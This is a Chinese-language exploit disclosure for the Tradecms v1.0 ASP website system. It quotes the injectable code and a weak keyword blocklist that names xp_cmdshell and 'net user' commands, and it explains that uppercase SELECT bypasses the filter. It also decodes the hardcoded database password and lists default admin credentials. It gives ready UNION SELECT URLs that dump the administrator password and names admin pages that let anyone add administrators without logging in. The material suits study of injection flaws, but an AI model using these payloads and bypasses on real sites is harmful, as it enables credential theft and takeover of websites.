发布:m4r10
漏洞程序:Tradecms英文外贸企业网站 v1.0
漏洞类型:SQL Injection &越权漏洞
发布时间:2010-07-15
漏洞描述:注入漏洞,跨权限漏洞;
数据库地址:Clkj_DaTa/#Clkj_Cms#.mdb
数据库打开密码:
默认账号密码:用户:admin 密码:1
默认后台地址:/Clkj_Admin/Index.html
漏洞分析:P_view.asp,N_view.asp
'产品显示P_view.asp-------------------------------------------------------
set rs=server.createobject("adodb.recordset")
exec="select * from clkj_Products where clkj_prid="&request("pid") //SQL查询
rs.open exec,conn,1,1
clkj_BigClassID=rs("clkj_BigClassID")
clkj_SmallClassID=rs("clkj_SmallClassID")
clkj_SmallClassName=rs("clkj_SmallClassName")
clkj_BigClassName=rs("clkj_BigClassName")
clkj_prtitle=rs("clkj_prtitle")
clkj_prcontent=rs("clkj_prcontent")
clkj_prkey=rs("clkj_prkey")
clkj_prprdes=rs("clkj_prprdes")
clkj_prpic=rs("clkj_prpic")
rs.close
'新闻显示 N_view.asp----------------------------------------------------------
set rs=server.createobject("adodb.recordset")
exec="select * from clkj_News where clkj_newsid="&request("nid") //SQL查询
rs.open exec,conn,1,1
clkj_news_Title=rs("clkj_news_Title")
clkj_news_content=rs("clkj_news_content")
clkj_news_db=rs("clkj_news_db")
clkj_news_key=rs("clkj_news_key")
clkj_news_time=rs("clkj_news_time")
rs.close
包含文件:<!--#include file="Clkj_Inc/clkj_inc.asp"-->
在Clkj_Inc/clkj_inc.asp中包含SQL防注入文件:Clkj_Conn.asp
Clkj_Conn.asp 中防注入代码:
Dim clkj_js,clkj_dui,clkj_i
clkj_js=request.servervariables("query_string") //GET方式
Dim deStr(17) //下面为过滤字符
deStr(0)="net user"
deStr(1)="xp_cmdshell"
deStr(2)="/add"
deStr(3)="exec%20master.dbo.xp_cmdshell"
deStr(4)="net localgroup administrators"
deStr(5)="select"
deStr(6)="count"
deStr(7)="asc"
deStr(8)="char"
deStr(9)="mid"
deStr(10)="'"
deStr(11)=":"
deStr(12)=""""
deStr(13)="insert"
deStr(14)="delete"
deStr(15)="drop"
deStr(16)="truncate"
deStr(17)="from"
clkj_dui=false
For clkj_i= 0 to ubound(deStr)
IF instr(clkj_js,deStr(clkj_i))<>0 then
clkj_dui=true
end IF
Next
IF clkj_dui Then
Response.Write("出错")
response.end
end if
这段防注入代码只过滤了小写select,因此我们可以用SELECT大写轻松绕过
数据库被加了密码,最近看了很多程序,均对数据库加密码,甚至还有隐藏表名,字段的,还有对ASP文件加密的,难道这是流行趋势吗?其实我是觉得多此一举。
我们来看看数据库密码:
connstr="DBQ="+server.mappath(""&Clkj_mdb&"")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};password="&pwd&";"
PWD在 Clkj_Inc\Clkj_Md5.asp
pwd=NumTOstring("l0k9j8h7b6l0k9j8h7b6")
并且写了一个函数NumTOstring:
Function NumTOstring(num)
num=replace(num,"0","1")
num=replace(num,"9","2")
num=replace(num,"8","3")
num=replace(num,"7","4")
num=replace(num,"6","5")
num=replace(num,"l","a")
num=replace(num,"k","s")
num=replace(num,"j","d")
num=replace(num,"h","f")
num=replace(num,"b","g")
NumTOstring=num
End function
最后得到:pwd=NumTOstring("a1s2d3f4g5a1s2d3f4g5")
这时再打开数据库:查看管理员表名为:clkj_admin,字段为:clkj_admin,clkj_password
漏洞利用:
http://www.0daynet.com/P_view.as ... 0UNION%20SELECT%201,2,3,4,5,clkj_password,clkj_admin,8,9,10,11,12,13,14,15,16,17%20FROM%20clkj_admin
http://www.0daynet.com/N_view.as ... 0UNION%20SELECT%201,2,3,4,5,clkj_password,7,8,9%20FROM%20clkj_admin
直接爆出管理员密码
跨权限漏洞:
以下文件未包含认证文件,因此出现如下漏洞
Clkj_Admin/Nimda_menu.asp 无需登录直接增加删除栏目
Clkj_Admin/Nimda_user.asp 无需登录直接增加删除管理员
Clkj_Admin/Nimda_product.asp 无需登录直接增加产品